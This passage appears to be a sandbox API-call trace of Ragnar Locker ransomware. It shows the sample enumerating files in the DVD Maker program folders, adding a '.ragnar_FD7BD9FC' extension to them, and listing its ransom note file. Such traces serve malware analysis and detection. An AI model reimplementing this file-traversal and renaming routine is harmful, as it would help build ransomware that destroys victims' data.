nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.412] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.412] lstrcpyW (in: lpString1=0x1eb620, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.412] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.412] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.412] lstrcpyW (in: lpString1=0x1eb620, lpString2="scene_button_style_default_Thumbnail.bmp" | out: lpString1="scene_button_style_default_Thumbnail.bmp") returned="scene_button_style_default_Thumbnail.bmp" [0079.412] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp") returned=".bmp" [0079.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.412] CloseHandle (hObject=0xffffffff) returned 0 [0079.413] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" [0079.413] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.ragnar_FD7BD9FC" [0079.413] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.413] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0079.413] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.413] lstrcpyW (in: lpString1=0x1eb620, lpString2="shadowonlyframe_buttongraphic.png" | out: lpString1="shadowonlyframe_buttongraphic.png") returned="shadowonlyframe_buttongraphic.png" [0079.413] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png") returned=".png" [0079.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.413] CloseHandle (hObject=0xffffffff) returned 0 [0079.413] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" [0079.413] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.ragnar_FD7BD9FC" [0079.413] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.413] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0079.413] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.413] lstrcpyW (in: lpString1=0x1eb620, lpString2="shadowonlyframe_selectionsubpicture.png" | out: lpString1="shadowonlyframe_selectionsubpicture.png") returned="shadowonlyframe_selectionsubpicture.png" [0079.413] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png") returned=".png" [0079.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.414] CloseHandle (hObject=0xffffffff) returned 0 [0079.414] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" [0079.414] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.ragnar_FD7BD9FC" [0079.414] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0079.415] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.415] lstrcpyW (in: lpString1=0x1eb620, lpString2="shadowonlyframe_videoinset.png" | out: lpString1="shadowonlyframe_videoinset.png") returned="shadowonlyframe_videoinset.png" [0079.415] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png") returned=".png" [0079.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.415] CloseHandle (hObject=0xffffffff) returned 0 [0079.415] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" [0079.415] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.ragnar_FD7BD9FC" [0079.415] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817a6740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817a6740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0079.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817cc8a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817cc8a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1 [0079.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817f2a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817f2a00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0079.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8183ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8183ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0079.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81864e20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81864e20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0079.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x818b10e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1 [0079.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x818b10e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0079.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0079.415] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.415] lstrcpyW (in: lpString1=0x1eb620, lpString2="WhiteDot.png" | out: lpString1="WhiteDot.png") returned="WhiteDot.png" [0079.415] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png") returned=".png" [0079.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.416] CloseHandle (hObject=0xffffffff) returned 0 [0079.416] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" [0079.416] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.ragnar_FD7BD9FC" [0079.416] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.416] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0079.416] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0079.416] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0079.416] lstrcmpiW (lpString1="Filters.xml", lpString2=".") returned 1 [0079.416] lstrcmpiW (lpString1="Filters.xml", lpString2="..") returned 1 [0079.416] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0079.416] lstrcmpiW (lpString1="Parity.fx", lpString2=".") returned 1 [0079.416] lstrcmpiW (lpString1="Parity.fx", lpString2="..") returned 1 [0079.416] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8124b5c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.416] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.416] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.416] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8124b5c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.416] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0079.417] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8124b5c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0079.417] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8124b5c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8124b5c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.417] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0079.417] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x29 [0079.417] lstrcpyW (in: lpString1=0x1ec0e4, lpString2="Common.fxh" | out: lpString1="Common.fxh") returned="Common.fxh" [0079.417] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh") returned=".fxh" [0079.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.417] CloseHandle (hObject=0xffffffff) returned 0 [0079.417] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" [0079.417] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh.ragnar_FD7BD9FC" [0079.417] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\Common.fxh.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.417] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, 